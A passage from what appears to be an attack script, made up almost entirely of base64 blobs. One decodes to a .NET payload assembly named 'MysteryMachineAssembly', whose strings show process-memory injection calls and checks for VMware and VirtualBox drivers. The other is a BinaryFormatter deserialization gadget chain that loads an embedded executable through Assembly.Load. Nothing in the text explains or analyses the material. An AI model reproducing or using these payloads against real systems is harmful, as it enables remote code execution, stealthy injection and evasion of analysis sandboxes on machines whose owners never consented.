Jlc3VsdAByZXN1bHQAbHBFbnZpcm9ubWVudABnZXRfQ3VycmVudABnZXRfQ291bnQAY291bnQAQ29udmVydABBcnJheUxpc3QAaFN0ZElucHV0AGlucHV0AGhTdGRPdXRwdXQATW92ZU5leHQAU3lzdGVtLlRleHQAd1Nob3dXaW5kb3cAVmlydHVhbEFsbG9jRXgAVmlydHVhbFByb3RlY3RFeABSZWdleABzY29vYnkAa2V5AE15c3RlcnlNYWNoaW5lQXNzZW1ibHkAQ29weQBzY3JhcHB5AGJpbmFyeQBXcml0ZVByb2Nlc3NNZW1vcnkAbHBDdXJyZW50RGlyZWN0b3J5AAABAFFDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAVgBtAG0AbwB1AHMAZQAuAHMAeQBzAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQAzAGQAZwBsAC4AZABsAGwAAE1DADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAGQAdQBtAC4AZABsAGwAAFFDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtADMAZAB2AGUAcgAuAGQAbABsAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQB0AHIAYQB5AC4AZABsAGwAAEtDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAGMAaQAuAHMAeQBzAABXQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQB1AHMAYgBtAG8AdQBzAGUALgBzAHkAcwAAU0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AeABfAHMAdgBnAGEALgBzAHkAcwAAT0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AeABuAGUAdAAuAHMAeQBzAABZQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAFYATQBUAG8AbwBsAHMASABvAG8AawAuAGQAbABsAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQBoAGcAZgBzAC4AZABsAGwAAFdDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAG0AbwB1AHMAZQB2AGUAcgAuAGQAbABsAABXQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQBHAHUAZQBzAHQATABpAGIALgBkAGwAbAAAX0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXABWAG0ARwB1AGUAcwB0AEwAaQBiAEoAYQB2AGEALgBkAGwAbAAAT0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AcwBjAHMAaQAuAHMAeQBzAABVQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAFYAQgBvAHgATQBvAHUAcwBlAC4AcwB5AHMAAFVDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAVgBCAG8AeABHAHUAZQBzAHQALgBzAHkAcwAAT0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXABWAEIAbwB4AFMARgAuAHMAeQBzAABVQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAFYAQgBvAHgAVgBpAGQAZQBvAC4AcwB5AHMAAENDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AGQAaQBzAHAALgBkAGwAbAAAQ0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAaABvAG8AawAuAGQAbABsAABFQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABtAHIAeABuAHAALgBkAGwAbAAAQUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAbwBnAGwALgBkAGwAbAAAUUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAbwBnAGwAYQByAHIAYQB5AHMAcAB1AC4AZABsAGwAAE1DADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AG8AZwBsAGMAcgB1AHQAaQBsAC4AZABsAGwAAFFDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AG8AZwBsAGUAcgByAG8AcgBzAHAAdQAuAGQAbABsAABXQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABvAGcAbABmAGUAZQBkAGIAYQBjAGsAcwBwAHUALgBkAGwAbAAAT0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAbwBnAGwAcABhAGMAawBzAHAAdQAuAGQAbABsAABdQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABvAGcAbABwAGEAcwBzAHQAaAByAG8AdQBnAGgAcwBwAHUALgBkAGwAbAAASUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAcwBlAHIAdgBpAGMAZQAuAG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";
}else{
$hexdata = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0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